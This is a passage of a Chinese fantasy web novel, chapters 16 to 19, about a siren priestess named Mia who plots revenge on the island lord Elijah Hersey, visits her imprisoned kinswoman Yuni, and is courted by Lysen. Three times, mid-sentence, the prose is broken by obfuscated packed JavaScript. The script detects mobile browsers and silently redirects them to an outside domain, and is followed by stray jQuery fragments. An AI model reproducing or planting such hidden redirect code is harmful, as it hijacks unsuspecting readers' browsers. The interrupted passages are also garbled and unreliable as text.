深蓝色如同大海一般的眼眸中有星辰在流动,那蓝色越来越浅,直至变成天蓝色。 16. 海妖(六) 海妖是什么? 玛丽亚联盟学院岛上,有一座专门研究奥维伊群岛的各种非人生物的学院,在他们的教材里,提到海妖时,只有一句话:“海妖是海神的造物,亦是祂的眷属,人脸人身,鸟爪,长有翅膀,歌声是力量来源。” 当众神还行走于大地之际,当群岛还是大陆之际,凭借相似的外貌,海妖曾经一度与人类建立起良好的关系。 她们化作人形,出没于人类的市集之上,尤其喜爱闪亮的珠宝。 她们为迷航的船只指引方向,帮助人类脱离危险。 她们有世界上最动听的歌声,可令凋谢的鲜花重新绽放,烧焦的古树长出新芽。 人类帝国的皇帝曾经以海妖参加自己的宴会为荣,她们拥有美丽的容貌,一出场便会吸引所有人的目光。 但是,不知从何时起,人类与海妖的隔阂出现,就像向平静的湖面投入一枚石子,初时并不引人注目,然而涟漪一层层荡开,影响越来越大。 有人说,海妖以吸食人类的血液为生,有人说,她们的歌声会使人陷入无法逆转的癫狂之中,还有人说,人类和海妖天生就是敌人,注定不是你死就是我亡。 一开始,这些传言只流传在很小的范围之内。 然后是吟游诗人的诗篇开始肆意创作,在那些瑰奇古怪的故事里,海妖变成了引诱人类堕落的恶魔,美丽的面容和动人的声音是她们的武器。 当诗篇越传越广,恐惧由此而生,海妖猎人从此出现。 直到海妖捕杀令下达的那一刻,双方终于走向了无可挽回的对立。 米娅出生在奥修斯岛的生命之树上,那是所有海妖最初的出生之地。 虽然在人类的诗篇和绘画中,海妖都是以女人的形象出现,但其实海妖也和人类一样,有男有女,更有和人类相似的生殖腔。 只有一点不同,当生命的种子在女性海妖的体内形成之时,它将离开海妖的身体,化为一颗果实,从生命之树的枝条上长出来。 直到成熟的那一刻,新生海妖破壳而出,所有的海妖都将是她的抚养人。 这一点不同带来的影响是,尽管十分相似,但海妖与人类无法拥有后代,只有海妖与海妖的结合,才能获得生命之树的认可。 不管是男海妖与女性人类还是女海妖与男性人类,都不例外。 当然,其他物种就更别提了。 米娅出生的时候,正是海妖与人类的关系最融洽的时候,她也曾经在孩童时溜到人类的岛屿玩耍。 那座岛是不是赫尔西岛呢? 她已经记不清了。 因为在那之后不久,年迈的海妖祭司看中了她,要将她培养成为奥修斯岛下一任海妖祭司,从那之后,她的生活都围绕着成为海妖祭司所必须的各种技能转悠,从前悠闲的生活一去不复返。 而当她正式接任祭司之后,她的记忆就出了问题。 神灵尚在之时,祭司是海妖一族与神灵沟通的使者,也是海妖一族的领袖,神灵的力量时时刻刻影响着她,记忆首当其冲。 比起深受神灵力量影响,时常疯言疯语的老祭司来说,她只是遗忘了一些不太重要的记忆,已经十分幸运了。 这其中也有神灵已经沉寂多年的缘故。 如果日子能一直这么平静下去,如果海妖与人类的关系没有发生变化,也许她也会像已经故去的老祭司一样,永远守护着奥修斯岛,不会踏出一步。 然而命运总是弄人。 当人类与海妖的关系越来越紧张之时,作为能够感应到其他海妖存在的祭司,她曾经几次离开奥修斯岛,解救被海妖猎人围攻的落单海妖。 然后她下令让所有在外的海妖都回到奥修斯岛,并且给人类帝国的统治者以及联盟的执政官都发出了警告。 再然后,事态愈演愈烈,直到五年前,距离无尽海最近的布里斯帝国皇室发布了海妖捕杀令,双方终于走到了不可挽回的地步。 赫尔西岛作为距离无尽海最近的岛屿,自然而然成为了海妖猎人聚集之处。 在这里成立了海妖猎人协会,后来因为内斗,海妖猎人协会一分为二,成为后来的两大海妖猎人组织。 两大海妖猎人组织始终待在赫尔西岛,还有一个重要原因。 那就是自从海妖捕杀令发出之后,最初还能从各地抓捕到没有听从米娅的命令回到奥修斯岛的海妖。 但很快,海妖就在人类的世界绝迹,他们的唯一希望,便寄托在了海妖一族的居所上。 米娅抬起手臂,深蓝色的眼眸光芒闪烁,似乎有看不见的暗流在眼底卷起漩涡。 从前,大陆时代,人类没有任何特殊的力量,他们通过禁术或巫术驱使本不属于自己的力量,短暂变得强大。 那时,人类根本不是海妖的对手,但因为数量众多,如果双方真的敌对,只会两败俱伤。 现在,渡水者出现之后,这一情况出现了极大的改变。 渡水者的能力各不相同,所持力量大小也截然不同。 这些年,在了解人类的过程中,米娅曾经见过弱小到只能做街边杂耍的渡水者,也有强大到可以和海妖抗衡的渡水者。 比如那个黑骑士休伊。 港口袭击莱森的那只海妖名叫尤妮,年纪虽不大,对力量的掌控在海妖之中却是佼佼者,黑骑士能与她打个平手,在人类渡水者中已经是十分强大了。 可是另一个人—— 米娅将手掌摊开,另一个人的温度还残存在掌心和指缝,当他为她治疗之时,冰冷的触觉消失不见,只有温暖的气息萦绕在伤口处。 渡水者中的确有能力是治疗的,比如那天监狱中的那个医生,可是以利亚被称为最强的渡水者,靠的可从来都不是治疗。 如果说黑骑士休伊与海妖尤妮堪堪打了个平手,已经算是十分强大了的话,那么以利亚的力量,就只能说是深不可测了。 美丽的脸庞沉下来。 海妖猎人组织穿过无尽海的风暴到达奥修斯岛附近之后,她催动祭司的能力,将奥修斯岛沉入了海底。 海妖是海神的造物,在水中也如鱼一般自由,只是已经习惯了水面的生活,怨言依然蔓延开。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847909|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她们说她太过胆小,竟然对弱小的人类一再让步,还有的拿她曾经有个人类恋人说事,认为她早已心向着人类,忘记了海妖祭司的职责。 米娅并不在意,流言从不会影响她的计划,她早已做出了决定。 时至今日,米娅仍记得,海妖捕杀令发布的那一天,她站在生命之树的树干前,为一个海妖一族的新生儿进行祝祷。 上古的密语说了一半,被狼狈穿过风暴逃回奥修斯岛的年轻海妖打断。 那是一个还未成年的少年,全身上下都是伤口,一边羽翼被砍掉了一半,还能回到奥修斯岛已经是他拼尽全力的结果。 他摔倒在米娅脚边,不断发出痛苦的呻吟,一双绝望的眼睛盯着她,祈求她救他。 少年是偷偷溜出去的,为了去看一个即将去世的人类朋友,但是那个人类朋友为了赏金出卖了他,他遭到了围猎,艰难逃出重围。 少年违背了她的命令,她本来应该感到愤怒,可是看到那张还有些稚嫩的脸庞时,愤怒便转了向。 他有做错什么吗? 他不过是想去看望朋友而已,小心翼翼地隐藏身份,明明没有做错事,却像个逃犯东躲西藏。 这一切都是人类的错。 米娅为少年进行了治疗,少年的伤很重,她付出了一些代价,才救回他的命。 有海妖劝她不要救他,让其他海妖都看看,违背命令的下场,否则,他们之中还是会有不听话的。 米娅没有听,为此搭上一条性命,她做不到。 然后,捕杀令的消息也传了过来,与捕杀令一起的,还有噩耗。 布里斯帝国的海妖猎人和渡水者早就得到了风声,几乎在捕杀令正式下达的同时开展了行动。 那段时间,偶尔有悲伤的消息传来。 有的侥幸逃了回来,有的失去了生命,还有的,彻底消失了。 在无尽海海底,海妖一族可以得到暂时的安宁,至少她还没有听说有哪个渡水者,拥有在海下作战的能力。 即使是能够操纵水的著名人物,也仅限于海表,而且限制很大,似乎渡水者天生就与海洋相斥。 但她的心从没得到过安宁,少年绝望的双眼,还有许多同族的鲜血,时常浮现在她眼前,哪怕闭上眼睛也挥之不去。 凭什么? 凭什么这么残忍地对待我们? 悲愤之后,那些生命,以及少年再也恢复不了的羽翼,一直提醒着她,一定要做些什么。 复仇。 没错,复仇。 第一个就是以利亚·赫尔西。 他是向布里斯帝国皇室进言捕杀海妖之人,如果皇帝是他的傀儡这一传闻是真的,那么说他是罪魁祸首也没有问题。 当然不止是他,但他无疑是其中最难对付的,没有之一,所以只能也必须由她来。 哪怕是用如此卑劣的手段,哪怕—— 米娅闭上了眼睛,遮住眼中的猩红,她已经不是那个刚接手祭司之职时手足无措的少女了。 手掌慢慢握紧,那一点儿余温,很快也消散了。 17. 海妖(七) 黑夜降临,漫天星子闪烁,海浪拍打悬崖的声音永不间断,成为助人安眠的旋律。 在赛欧庄园之中,位于角落里独立的一个小房子的地下,原先是用来放粮食的仓库,近些年已经废弃了,平时很少有人靠近。 这么个不起眼的地方,谁也想不到,居然别有洞天,被改造成了一座小小的地牢。 海妖少女双臂抱膝靠墙坐在角落里,一头红色的长发像火焰一样包裹着她白皙的身体,莫名有种可怜的神态。 没有了力量的支持,她看起来不过是个普通的美貌少女。 守卫不分昼夜地巡逻,坚毅的神情好像永远也不知道疲倦。 但是关押海妖的牢房没有人敢轻易靠近,即使海妖已经失去了绝大部分力量,码头上的震撼依然深深烙印在每一个人心头。 谁也不想成为利爪下的亡魂。 路过海妖面前时,他们加快了脚步,整齐划一的脚步声出现了不和谐的凌乱。 传闻海妖的眼睛也有蛊惑人心的魔力,虽然是个未经证实的说法,他们还是不敢冒险,尽可能少出现在海妖面前。 古老的阵法非常有效,反正她也跑不出来,哪怕不时时刻刻看着,也不会出乱子。 守卫如此安慰着自己,快步走过了海妖之前,还没来得及松一口气,空灵的歌声传进了耳朵里。 像是从遥远的海面飘来。 陶醉片刻之后,他们意识到不对,这里是阴冷潮湿的地下,不是古堡中明亮舒适的房间,歌声怎么会传得过来呢。 戒备已经来不及,守卫无声地倒了下去。 海妖少女不知何时站了起来,红唇紧闭,歌声并不是出自于她。 空洞的眼神看向牢房之外,昏暗的灯光之下,一道拉长的影子慢慢靠近。 高挑的身影笼罩在黑色的衣袍之中,黑色从头包裹到脚,只有苍白的脸露在外面,美艳的脸上是冰冷的神情。 “米娅——”愤怒的低吼从海妖少女娇嫩的喉咙发出,她抓住监牢的门,法阵发出微光,光芒笼罩门框,她的手心冒出青烟,“啊……” 痛苦的叫声融化了米娅冰冷的神情,“手给我。” 海妖少女倔犟地摇头,下一刻,冰冷的手就覆盖在了她的手背上,略带凉意的无形水流包裹住伤痕累累的手掌,将灼热和痛苦驱散。 屈辱出现在少女眼中,但是她无法反抗,只能被动接受治疗,“不要你假惺惺,要不是你,我已经杀掉了那个莱森·赫尔西,也不会被抓到。” “杀了他,然后呢?” 法阵的光芒越来越亮,像在与什么未知的力量做对抗,光辉伸出无数条触手,蠕动着爬上米娅的手腕,在空中摇曳,无法再前进半步。 “莱森·赫尔西不过是皇室的弃子,杀了他,除了泄愤,没有任何用处,只会带来无尽的麻烦。” 冷静的话语回荡在空旷的地牢之中,不带丝毫感情。 “麻烦?这种说辞,你骗骗那些只会待在岛上的就算了,我们明明拥有这么多力量,联合起来将这座岛屿淹没也不成问题,为什么要怕这些愚蠢又恶毒的人类!”治疗结束,少女终于挣脱了她的手,看着缠绕在她手腕上啃食血肉的光辉发出无声的尖叫,退回最初的位置,逐渐变得黯淡,不解与愤怒愈发强烈,“还有你,米娅,你明明是我们之中最强大的一个,你看,你甚至不会受这破法阵的影响,为什么总是在退缩。召回所有的海妖也就算了,竟然将奥修斯岛沉入了海底,凭什么,凭什么退缩的是我们!” 一连串激烈的话语从那张小巧的嘴里吐出来,仿佛要将积攒已久的怒意都宣泄出来。 米娅神情丝毫不变,甚至嘴角微微上扬,竟然出现了一点儿笑意。 “尤妮。”她轻唤着少女的名字,眼中有些怀念。 很多年前,少女还是个小女孩,不会很好地控制飞翔的高度,结果一头扎进了生命之树的树冠里,卡在枝桠之间。 是她将哭得上气不接下气的小女孩从树冠之中拔了出来,像拔萝卜一样,引得围观的海妖哈哈大笑,小女孩哭得更惨了。 她一个眼神扫过去,举起拳头威胁她们不准将这件事说出去,小女孩才停止了哭泣。 那个时候,面前的少女天天跟在她屁股后头,整天张口闭口都是“米娅姐姐”,声音甜腻得不行。 事情是从什么时候开始发生改变的? 她有些记不清了,毕竟那也是十多年前的事情了,虽然海妖的寿命很长,十几年实在微不足道,可她的记忆在接任祭司的那一天起就开始出问题。 记不得也很正常。 是吧? “我会救你出来,你该回去了。” “我不要!”海妖少女大声拒绝道,她才不甘心就这么回去,“要回去,也要等我去杀了以利亚·赫尔西再说。” “尤妮。”米娅再次唤她,温柔彻底从她眼底消失,想到港口上发生的事情,她仍感受到了一阵后怕,“根本做不到的事情,你在坚持什么?坚持送死吗?你难道忘了,那个时候,你是怎么失败的了?” 少女一愣,屈辱与不甘再次出现。 她当然忘不了。 那时正是她信心最为膨胀的时刻,她与黑骑士的打斗趋于白热化,他们谁也奈何不了谁。 原来这个声名在外的黑骑士也不怎么样嘛,她飞在空中想着,连她都打不过,要是米娅的话,一定能很快解决掉他吧。 但是,真搞不懂,米娅为什么要阻止自己杀莱森·赫尔西,现在还要躺在甲板上假装自己受了重伤。 以她现在人类的身躯来说,那的确是致命伤。 但只要她愿意,一个念头,伤口就可以停止流血,恢复如初。 大好的机会就在眼前,她实在不愿放弃,于是甩开黑骑士,突袭了莱森赫尔西。 然后,一个身影突兀地出现在了视线里。 银色的长发,做工考究的衣饰,以及傲慢冷冽的气质,看到那个男人的一瞬间,她就可以完全确定,是她最大的仇人,以利亚·赫尔西。 甚至无法去思考男人是怎么突然出现在甲板上的,她的心被怒火点燃,将莱森也抛在脑后,向着男人发动了攻击。 然后—— 然后她就失去了意识。 再醒来,已经在这个破地方了。 后来在审讯的过程中,以及守卫们偶尔的对话中,她拼凑出了当时的情况。 简单来说就是,没有人看清了以利亚做了什么,只看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852317|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他抬起了手,然后她就撞到了甲板上,失去了意识。 毫无还手之力,这样的差距,杀他的确是天方夜谭。 隔着监牢的栅栏,米娅握住了少女的肩膀,“你放心,我这次出来,就是为了杀他而来,我一定会做到,尤妮,你愿不愿意相信我?” “我——”少女很想点头,可是不解淹没了她,她依稀记得,那个时候,眼前的人被她们的仇人抱在怀里,这是她们离他最近的时刻,如果她在那个时候出手,是不是就成功了? 但她什么也没做,尽职尽责地扮演好了身受重伤的柔弱女人的角色。 还有她为莱森·赫尔西挡得那一下,总觉得,不像是经过了深思熟虑之后的举动。 更像是,下意识的举动。 “我当然相信你。”少女垂下眼眸,话音一转,“但是你也说了,以利亚·赫尔西这么厉害,你怎么才能做到呢?还有那个莱森·赫尔西,你会杀了他吗?” “我有我的办法。”米娅不太愿意细说,那个法子说出来,以尤妮的脾气,一定会千方百计地阻拦,她羡慕她的单纯天真,如果可以,甚至希望她能一直这么单纯天真下去,“至于莱森·赫尔西,他与此事无关。” 不对劲,果然不对劲。 尤妮猛地抬起头,气鼓鼓地看着她,“他也是赫尔西,哪里无关了,米娅,你该不会是喜欢上了他吧?” 米娅觉得好笑,“我怎么会喜欢他,一个天真到愚蠢的……人类。” 脆弱的,天真的,愚蠢的……善良的人类。 “真的吗?”尤妮半信半疑,在少女的眼中,她可是有前科的,“你别以为十几年前我年纪小就什么都不懂,那个、那个当年你带上岛的人类,你和他,关系不一般吧。” 优雅的手掌从监牢中撤回来,美艳的女人将兜帽拉低,挡住眼底的情绪,“那都是很久以前的事情了,我已经忘记了。” 她离开了。 就像来时一样悄无声息。 古老的阵法影响不了她,她明明可以打开牢门放自己出去,却没有这么做,看来她是铁了心要以人类的身份接近以利亚·赫尔西了。 少女无奈又委屈,看着地上的守卫慢慢醒转过来,嘴角扬起一个嘲讽的笑容,摊开结痂的手掌,“你们还真是弱小,我都这样了,还能受我的声音影响。” 少女哼起不知名的小调,当这声音钻进守卫的耳朵里时,针刺般的疼痛袭击了他们。 深夜时分,卡伦被人从舒服的大床中拽起来,听到手下禀告说海妖试图越狱,拖着困倦的身躯来地牢转了一圈。 法阵又被加强了。 少女静静地看着他们一阵捣鼓,没有说话,虽然不知道米娅到底在想什么,但是总不能真的让她暴露身份吧,所以锅只能自己背啰。 她会用什么方法救自己出去呢? 听说被送去人类帝国帝都的海妖同族从此都彻底消失了,该不会是—— 她打了个寒颤,冲着正在打哈欠的男人叫道:“喂,你们到底打算怎么处置我,总不可能一直关着我吧。” 缺觉的男人还有些起床气,“阶下囚该有阶下囚的自觉,话怎么这么多。” 可恶,等她出来,第一个先把他撕碎。 18. 海妖(八) “米娅,米娅……” 谁在低声呼唤她。 “米娅,对不起,我不得不走。” 谁在道歉。 米娅睁开蔚蓝的双眸,生命之树垂下紫色的枝叶,落到她的耳畔,光芒照耀着她脸上的红晕。 卷曲的长发像盛放的花朵,铺散在身下,黑色的发与白色的肌肤交相辉映,是世间最美的景象,每一个看见它的人,都会沉醉其中。 但只有一个人见到了这副景象。 男人的长发从耳侧垂下,落到她的脸颊上,随着规律的动作轻拂她的脸颊。 有点儿痒。 但这点儿痒还不足以抵消来自身体深处的热浪,一阵又一阵,将她抛至浪花的顶点,眼前似有白光闪过。 滴答一声,水珠落到洁白无瑕的脸颊上,带着滚烫的温度,是从树上滴下的晨露,还是男人鬓角的汗珠? 红唇发出难以抑制的轻吟,她艰难地抬起手臂,看到本该是利爪的手掌被嫩肉包裹,手指细长晶莹,泛着柔光。 她睁大了双眼,努力想要看清视线上方的男人的脸,但那里总隔着一层白雾,于是她伸出手,试图驱赶雾气。 指尖微动,温热的触感从掌心传过来。 是男人的脸。 低笑在耳边响起,男人的手掌也抚上了她的脸颊,细细描摹着她的眉眼,“米娅,等我回来。” 回来? 窗外明月高悬,清冷无情的月光静静洒在安静的古堡之中,远处的海面上,几只海鸥展翅飞翔,发出凄厉的鸣叫。 米娅从床上坐起来,望着海平面上那轮圆月发呆,有那么一瞬间,深蓝色的眼眸就像突然褪色了一样,越来越浅。 细碎光点在其中闪烁,仿佛北方海域上积年不化的浮冰。 只有一瞬,快得用肉眼捕捉不及。 心跳得很快,是半夜惊醒的感觉,可是梦里明明没有值得恐惧的东西。 正相反,这是一个瑰绮的梦。 她察觉到了腿间的异样,忍不住冷笑出声。 这就是人类的身体,脆弱,难以控制,不过一个春\梦,竟然也能有反应。 说到底,那真的能算是春\梦吗? 不过是一个虚伪的男人做出了自以为是的承诺罢了,最多用来骗骗未经世事的小姑娘。 哈,不过故事中那个小姑娘居然就是她。 她感到了一丝难以言喻的不堪,在曾经的一段岁月里,这熟悉的不堪始终围绕着她,从同伴的叹惜与愤怒中,从一个个回忆的梦中。 但这些都是十一年前的事情了,那时没有杀戮,没有恐惧。 奥维伊群岛以及将群岛紧紧包裹的海洋,还有神秘未知的天空,有太多奇奇怪怪的生物,有的长相怪异,有的能力特殊。 恐怖,怪异,荒谬。 让人感叹是否是神明创世之时的有意为之,有它们的存在,人类的渺小与弱小就像透明玻璃瓶中的花朵一样显而易见。 作为海神的造物,海妖拥有与人类相似的样貌和身躯,甚至连思想也大同小异,反而是各种古怪生物中看起来最正常的了。 所以,她才会一时善心大发,在沉船的残骸中救了一个人类男子,又和这个人类男子像过家家一样谈起恋爱。 最后毫不意外地被抛弃。 其实她已经很多年没有梦到那个人了,因为她已经忘了那个人的名字、长相和声音,甚至连他们为什么会相恋,她又为什么会被抛弃,也成了藏在记忆最深处被封印的秘密。 米娅走到窗边,这间客房的窗户正对着海岸的方向,那座漆黑耸立的高塔仿佛就在眼前。 说起来,为什么会突然梦到他呢? 很久以前,她还是一个普通海妖的时候就很少做梦,后来成为了海妖一族的祭司,接受了生命之树的试炼之后,她的梦也被赋予了特殊的含义。 比如她曾经梦到奥维伊大陆分崩离析的那一天。 天空被一团形状不定的乌云覆盖,整个大陆都陷入了黑暗之中,她站在乌云的边缘看着大地,人就像尘埃一样渺小,可是她却能清晰地看见他们脸上的表情。 惊恐的,茫然的,狂热的。 紧接着,从乌云的中心跃出一道黑色的闪电,似乎如山岳一般庞大,又像是一滴水,投入了无尽海西边幽深的峡谷之中。 霎时间地动山摇,以峡谷为中心,无数条裂缝出现在皲裂的大地上。 哀嚎在大地上呼啸,有人类的,也有其他生物的。 梦中的“她”来到峡谷边缘,靠近无尽海的那一侧,伸出了手。 或许是手,她只看见了一团灰雾,雾中有无数张尖啸的脸。 “手”中“握”有什么东西,正在蠕动。 她松开了“手”,那东西落到铺满岩石的地上,一头钻了进去。 然后,海水倒灌,淹没大地,群岛出现。 梦终止在海水漫上来的一瞬间。 醒来之后,她独自来到梦中的地点,那里已经是一片汪洋,漆黑的海水将曾经的岩石掩埋,日日夜夜,没有一丝光亮能照进去。 她在五颜六色的珊瑚间穿行,游鱼亲吻着她的指尖,将她引到了那个东西前。 一颗鲜红的心脏。 一颗仍在跳动的心脏。 表面布满了弯弯曲曲的血管,血液在其中流淌,甚至能听到血液咕噜咕噜流动的声音,但没有心跳声。 心脏的跳动非常微弱,米娅将它捧在手心,带回了奥修斯岛,老祭司还没有死,但已经衰老得眼睛都睁不开。 “看”到心脏的刹那,脸上露出了狂喜的表情。 老祭司从她口中得知心脏的来源之后,高呼着“这是神的恩赐”,将心脏放置在了生命之树的的树干之中,只有她们才能去的地方。 “米娅,你要记住,我们的梦,都是神给我们的启示,千万不要忽视它。”老祭司实在是太老了,听说她是奥修斯岛上最年迈的海妖,活了不知道几千年,在老死之前,她告诉米娅,“那颗心脏,要用在你认为最合适的时候。” 怎么样才算最合适的时候,她一直没有搞懂。 这么多年了,那颗心脏没有发挥过作用,她都快忘了它的存在。 难道说,是老祭司错了? 她们的梦其实并没有什么特殊的含义,那颗心脏也不过是个意外? 否则,已经许久不做梦的她,怎么偏偏在这个时候,梦到了一个无关紧要的人类? 海妖需要睡眠,但每天只两三个小时就足矣,米娅这番醒来,也失去了再度入睡的欲望。 她看着高塔,不断回想着计划已经完成的部分。 她死去的丈夫,确有其人,另一只海妖假扮的。 几年前,她在奥维伊群岛最南端的岛屿上找到了据说拥有不死之身的神秘女巫,用一瓶自己的血为代价,换得了两瓶药水。 一种神奇的药水,喝下之后,海妖也可以彻底变为人类,连本来无法变化的双眸也不受影响。 女巫说,这种药水极其稀少,一瓶又只能让一只海妖变形,她也只有这两瓶。 其中一瓶,米娅用在自己身上,另一瓶,由另一位海妖服下,他化作普通人类男子,和米娅假扮人类夫妻,上演了一出为了生计远走他乡的戏码。 他来到赫尔西岛,加入海妖猎人组织,故意在凯勒面前展示米娅的画像。 一切都如他们料想的那样,凯勒动了歪心思,想害死他。 在奥修斯岛附近的那艘装满海妖猎人的船上,他成功被凯勒安排的人推入海中,装作葬身大海的模样,实则恢复了海妖的一切。 而米娅,以寻夫的理由来到赫尔西岛。 以利亚他们不是总觉得凯勒和加里的死与自己有关吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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只是此时她能找到的最好的帮手,只有尤妮。 可惜尤妮总是有自己的主见,原定的计划是她打伤她之后立刻逃走,跃入海中,凭她的速度,没人能追得上。 然而尤妮临时改变了主意,莱森·赫尔西站在她的面前,仇恨盖住了理智,她试图杀死莱森,却落得个身陷囹圄的结果。 尤妮不知道的是,甲板上以利亚出现的那一刻,米娅的利爪已经蓄势待发。 机会稍纵即逝,她也是为杀以利亚·赫尔西,这个向人类皇帝谏言捕猎海妖的贵族而来,她怎么会放过这般天赐良机。 但她做不到。 她的四肢像被冻住了一样,手指动一下都成了困难,当那个冰冷无情的男人将手放在她的背上时,时间似乎都静止了。 以利亚·赫尔西。 即使早有了解,他的强大依然出乎了她的意料。 每个渡水者都有特殊的能力,他的能力是什么,没有人知道。 那一刻,米娅再次清醒地认识到,想要杀死他,光凭一腔热血,是远远不够的。 她看向自己的手掌,握拳又放开,如果她拼死与其一战,能不能成功? 也许可以,也许不能。 但她冒不起这个险,一旦她也失败了,奥修斯岛上的海妖该怎么办? 所以还是只能执行最初的计划,接近他,趁他毫无防备之际,给予致命一击。 这样的机会不会太多,但托尤妮的福,她比预想中更早地住进了赛欧庄园,离成功又近了一步。 她的下一个目标是—— 不远处的高塔在海风中屹立不倒。 以利亚·赫尔西就在那里, 他在古堡中有豪华的房间,有无数贴心的奴仆,但他时常待在那座阴森恐怖的高塔中。 米娅忽然想起了人类世界中的一则童话。 在高塔之上有被恶龙囚禁的公主,等待着勇士前去拯救。 果然只是童话。 高塔中的不是公主,而是恶魔。 恶魔在高塔之中沉睡,即将要登上高塔的,也不是勇士,而是—— 米娅垂眼,五指合拢,锋利的指尖若隐若现。 19. 暗流(一) 米娅在赛欧庄园中住了下来。 她于受伤的第二日“苏醒”,见到的第一个人是负责照顾她的女仆。 得知自己竟然身处赛欧庄园之中,她的第一反应是要离开,掀开被子下床去,刚走了没两步,就虚弱地腿一软,险些跌倒在地。 有两个人同时接住了她。 女仆和—— 听说她醒了匆匆赶过来的莱森。 “领主大人已经答应,在你完全好起来之前,可以住在这里养伤。” 米娅表现出疑虑的模样,于是莱森又说:“你是为了救我才受伤的,我怎么能放心你一个人在外面住呢,请你留下来吧。” 说到最后,甚至有了恳求的意思。 俊秀温柔的青年向你发出真挚的恳求,大概没有哪个女人不会为之动容,米娅也不例外,她扬起笑容。 面色苍白,笑颜却如往昔一般妩媚动人,“那就打扰了。” 有以利亚的吩咐,有莱森无微不至的关心,米娅在赛欧庄园中的生活,只能用惬意来形容。 仆人对她尊敬万分,张口闭口都是米娅夫人,但凡她提的要求,都会尽力满足。 就这么又过了两天,她已经能够下床在花园中散步,在爬满紫藤萝的石亭中小憩,欣赏赛欧庄园中古老巍峨的建筑,与花园之中与来来往往的人们微笑致意。 人们惊讶于她的美貌,再看到莱森的殷勤,纷纷露出了然的神情。 受赫尔西岛领主更迭的变故影响,这位本是天之骄子的赫尔西岛前领主至今未婚,甚至连个未婚妻也没有。 虽然眼前这位嫁过人的女人出身低微,不足以成为莱森的妻子,但凭借她的美貌,成为他的情妇却绰绰有余。 时下贵族之间联姻频繁,但成为夫妻的一对男女,往往婚前不认识,婚后也培养不出感情,各自寻找情妇情夫成了一种心照不宣的默契。 而这情妇情夫,要么出自家是不够显赫的小贵族家庭,要么便是平民,身份虽不光彩,却能摆脱曾经或拮据贫穷或低人一等的困境。 远在群岛东南部的萨穆帝国,国王醉心于狩猎,让情妇参与到帝国重大政策的决定中,甚至允许其任免官员。 这样的风气之下,人们的猜测也就不足为奇了,或许就连仆人的尊敬,也有受此影响。 莱森听到了外面的传闻,愤怒的同时却无可奈何,就算他能制止流言的传播,有些根深蒂固的想法,却无法从人们心中移除。 不过没有关系,再过不久,他们都会明白他的真心。 她也会。 就像他对以利亚说的那样,他喜欢她,他愿意放弃贵族的身份娶她,当他求婚的那一天,所有的流言蜚语都将消失。 没错,莱森正暗中计划着向米娅求婚。 不是现在。 她刚刚受了伤,还很虚弱,甚至不久之前才得到丈夫的确切死讯。 怎么想,现在都不是个好时机。 但是没关系,他会陪在她身边,陪着她走出悲伤,等着她身体恢复,然后在风灵节的晚宴上,当众向她求婚。 距离风灵节还有大半个月,从时间上来说完全来得及,到时候—— 他已经在心里无数遍演练求婚时的场景,风灵节的宴会盛大隆重,赫尔西岛上有头有脸的人物都会参加,但是领主大人从不凑这个热闹,所以届时宴会的主人将是他。 他将邀请米娅作为自己的舞伴,共跳宴会的第一支和最后一支舞,然后—— 每每想到这里,莱森就会变得忐忑紧张。 不知为何,他不敢再想下去。 汽笛长鸣,打断了莱森的胡思乱想。 西摩港依旧忙碌,丝毫不受海妖袭击的影响,甚至穿行于其中的人们更加无所畏惧。 是啊,海妖又如何,她们再厉害,也完全不是领主大人的对手,那自己还有什么好怕的。 这是现在赫尔西岛上的人的共识。 一旦恐惧开始消退,另外一些情绪,比如憎恶,也在减轻。 曾经人们渴望海妖猎人们能够消灭海妖,因为他们害怕被海妖夺去生命,威胁一旦形成,支持消除威胁,也就成了必然。 这也是他们一直以来能够容忍岛上的海妖猎人们为非作歹的原因。 但是当他们发现,海妖原来没有这么大的威胁的时候,海妖猎人组织,就变得刺眼起来。 莱森面前走过几个人,高谈阔论的声音传进了他的耳朵里。 他们说,海妖猎人组织一只海妖也抓不到,根本就没用。 他们还说,海妖没有那么可怕,应该取消海妖猎人组织,反正两大组织的首领都死了,新首领又还没选出来,这是最好的机会。 莱森听着,心头忽然猛地一跳,他想起了那个阴沉潮湿的夜晚,冷漠的领主问他的那个问题。 接下来该怎么处置这些海妖猎人? 这一刻,他突然有了答案。 高大雄伟的军舰入了港,引得众人围观。 训练有素的帝国士兵踏上码头的地面,排成两列,簇拥着一个身着红色神官袍的男人走到了莱森面前。 男人看起来大约三十岁的样子,身形清瘦,面容普通但神情平静到让人看到便会心情宁静,黑色的长发未曾束起,披散在背部,却不会显得随意。 他手上拿着一本烫金封皮的书,封面上四个龙飞凤舞的大字,正义之诗。 布里斯帝国官方将正义之神介斯提视作主神,出身教会的官员人人手持一本官方刊印的《正义之诗》,作为其出身的象征。 简直就是最符合世人想象的圣洁高贵的神官形象。 “莱森大人,许久不见。” 男人向莱森致以问候。 莱森看着他,脸上扬起了一个大大的笑容,发自内心的笑容,他也向他回礼,“乌斯神官,许久不见。” 今天是来自布里斯帝国首都的军舰到港之日,经过几日的航行,乌斯大神官作为皇室和教会的代表,奉命来到赫尔西岛,出席今年的风灵节,同时与赫尔西岛商议海妖猎人组织今后的运行问题。 